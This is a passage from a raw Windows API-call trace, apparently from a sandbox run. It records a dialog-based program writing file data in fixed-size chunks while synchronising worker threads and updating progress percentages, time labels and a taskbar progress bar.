nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.449] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.449] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.449] GetFocus () returned 0x10232 [0061.449] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.449] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.449] ResetEvent (hEvent=0x1a4) returned 1 [0061.449] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.449] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.518] ResetEvent (hEvent=0x190) returned 1 [0061.518] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.518] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.519] ResetEvent (hEvent=0x190) returned 1 [0061.519] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.519] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.520] ResetEvent (hEvent=0x190) returned 1 [0061.520] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.520] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.521] ResetEvent (hEvent=0x190) returned 1 [0061.521] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.521] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.522] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.526] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.526] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.526] GetFocus () returned 0x10232 [0061.526] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.526] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.526] ResetEvent (hEvent=0x190) returned 1 [0061.526] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.526] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.527] ResetEvent (hEvent=0x190) returned 1 [0061.527] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.527] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.528] ResetEvent (hEvent=0x190) returned 1 [0061.528] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.528] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.529] ResetEvent (hEvent=0x190) returned 1 [0061.529] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.529] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0061.530] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0061.533] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0061.533] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0061.533] GetFocus () returned 0x10232 [0061.533] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0061.534] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.534] ReadFile (in: hFile=0x1b0, lpBuffer=0x81e0040, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0x1bd630, lpOverlapped=0x0 | out: lpBuffer=0x81e0040*, lpNumberOfBytesRead=0x1bd630*=0x3b5800, lpOverlapped=0x0) returned 1 [0061.723] GetTickCount () returned 0xa65c65 [0061.723] GetLastError () returned 0x0 [0061.723] SetLastError (dwErrCode=0x0) [0061.723] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0061.723] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0061.723] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 51%") returned 5 [0061.723] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0061.815] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x33 [0061.815] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=28213577408) returned 1 [0061.815] GetTickCount () returned 0xa65cc2 [0061.816] GetLastError () returned 0x0 [0061.816] SetLastError (dwErrCode=0x0) [0061.816] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0061.816] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:00:03") returned 8 [0061.816] SetWindowTextW (hWnd=0x10220, lpString="00:02:30") returned 1 [0061.816] GetTickCount () returned 0xa65cc2 [0061.816] GetLastError () returned 0x0 [0061.816] SetLastError (dwErrCode=0x0) [0061.816] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0061.816] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:01:02") returned 8 [0061.818] SetWindowTextW (hWnd=0x10224, lpString="00:00:17") returned 1 [0061.819] GetTickCount () returned 0xa65cc2 [0061.819] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c49280) returned 0x0 [0061.819] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c49280, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0061.819] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c49280, hwnd=0x1020e, ullCompleted=0x8564a3, ullTotal=0x954fe3) returned 0x0 [0061.819] TaskbarList:IUnknown:Release (This=0x3c49280) returned 0x0 [0061.819] GetLastError () returned 0x36b7 [0061.819] SetLastError (dwErrCode=0x36b7) [0061.819] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0061.819] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0061.819] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 49%") returned 5 [0061.819] SetWindowTextW (hWnd=0x1022e, lpString=" 89%") returned 1 [0061.820] GetLastError () returned 0x0 [0061.820] SetLastError (dwErrCode=0x0) [0061.820] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0061.820] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 13%") returned 5 [0061.820] SetWindowTextW (hWnd=0x1022a, lpString=" 43%") returned 1 [0061.820] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x59, lParam=0x0) returned 0x31 [0061.820] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0061.820] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0061.820] GetFocus () returned 0x10232 [0061.820] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0061.820] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0061.820] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0061.820] GetFocus () returned 0x10232 [0061.821] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0061.821] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0061.821] ResetEvent (hEvent=0x1a4) returned 1 [0061.821] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.825] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.825] ResetEvent (hEvent=0x1a4) returned 1 [0061.825] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.828] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.828] ResetEvent (hEvent=0x1a4) returned 1 [0061.828] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.832] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.832] ResetEvent (hEvent=0x1a4) returned 1 [0061.832] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.836] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.836] ResetEvent (hEvent=0x1a4) returned 1 [0061.836] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.839] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.839] ResetEvent (hEvent=0x1a4) returned 1 [0061.839] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.843] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.843] ResetEvent (hEvent=0x1a4) returned 1 [0061.843] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.847] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.847] ResetEvent (hEvent=0x1a4) returned 1 [0061.847] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.850] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.850] ResetEvent (hEvent=0x1a4) returned 1 [0061.850] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.854] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.854] ResetEvent (hEvent=0x1a4) returned 1 [0061.854] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.857] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.857] ResetEvent (hEvent=0x1a4) returned 1 [0061.857] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.861] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.861] ResetEvent (hEvent=0x1a4) returned 1 [0061.861] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.864] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.864] ResetEvent (hEvent=0x1a4) returned 1 [0061.864] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.868] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.868] ResetEvent (hEvent=0x1a4) returned 1 [0061.868] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.871] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.872] ResetEvent (hEvent=0x1a4) returned 1 [0061.872] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.874] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0061.875] ResetEvent (hEvent=0x1a4) returned 1 [0061.875] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0061.962] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.169] ResetEvent (hEvent=0x1a4) returned 1 [0062.169] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.169] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.235] ResetEvent (hEvent=0x190) returned 1 [0062.235] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.235] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.236] ResetEvent (hEvent=0x190) returned 1 [0062.236] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.236] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.237] ResetEvent (hEvent=0x190) returned 1 [0062.237] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.237] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.238] ResetEvent (hEvent=0x190) returned 1 [0062.238] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.238] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.239] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.243] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.244] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.244] GetFocus () returned 0x10232 [0062.244] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.244] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.245] ResetEvent (hEvent=0x190) returned 1 [0062.245] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.245] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.245] ResetEvent (hEvent=0x190) returned 1 [0062.245] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.245] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.246] ResetEvent (hEvent=0x190) returned 1 [0062.246] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.246] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.247] ResetEvent (hEvent=0x190) returned 1 [0062.247] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.247] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.248] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.253] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.253] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.253] GetFocus () returned 0x10232 [0062.253] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.254] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.254] ResetEvent (hEvent=0x1a4) returned 1 [0062.254] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.254] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.334] ResetEvent (hEvent=0x190) returned 1 [0062.334] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.334] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.335] ResetEvent (hEvent=0x190) returned 1 [0062.335] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.335] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.336] ResetEvent (hEvent=0x190) returned 1 [0062.336] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.336] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.337] ResetEvent (hEvent=0x190) returned 1 [0062.337] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.337] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.339] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.342] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.342] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.342] GetFocus () returned 0x10232 [0062.342] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.342] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.342] ResetEvent (hEvent=0x190) returned 1 [0062.342] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.342] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.343] ResetEvent (hEvent=0x190) returned 1 [0062.343] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.343] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.344] ResetEvent (hEvent=0x190) returned 1 [0062.344] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.344] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.345] ResetEvent (hEvent=0x190) returned 1 [0062.345] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.345] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.346] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.349] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.349] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.349] GetFocus () returned 0x10232 [0062.349] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.350] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.350] ResetEvent (hEvent=0x1a4) returned 1 [0062.350] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.350] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.429] ResetEvent (hEvent=0x190) returned 1 [0062.429] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.429] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.430] ResetEvent (hEvent=0x190) returned 1 [0062.430] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.430] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.431] ResetEvent (hEvent=0x190) returned 1 [0062.431] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.431] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.432] ResetEvent (hEvent=0x190) returned 1 [0062.432] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.432] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.433] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.436] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.436] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.436] GetFocus () returned 0x10232 [0062.436] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.437] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.437] ResetEvent (hEvent=0x190) returned 1 [0062.437] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.437] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.438] ResetEvent (hEvent=0x190) returned 1 [0062.438] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.438] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.439] ResetEvent (hEvent=0x190) returned 1 [0062.439] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.439] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.440] ResetEvent (hEvent=0x190) returned 1 [0062.440] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.440] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.441] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x1bd340, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd340*=0x40000, lpOverlapped=0x0) returned 1 [0062.446] PeekMessageW (in: lpMsg=0x1bd2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd2b0) returned 1 [0062.446] GetMessageW (in: lpMsg=0x1bd240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd240) returned 1 [0062.446] GetFocus () returned 0x10232 [0062.446] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd240) returned 1 [0062.446] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.446] ResetEvent (hEvent=0x1a4) returned 1 [0062.446] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.446] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0062.546] ResetEvent (hEvent=0x190) returned 1 [0062.546] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.546] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.547] ResetEvent (hEvent=0x190) returned 1 [0062.547] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.547] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.548] ResetEvent (hEvent=0x190) returned 1 [0062.548] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0062.548] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0062.549] ResetEvent (hEvent=0x190) returned 1 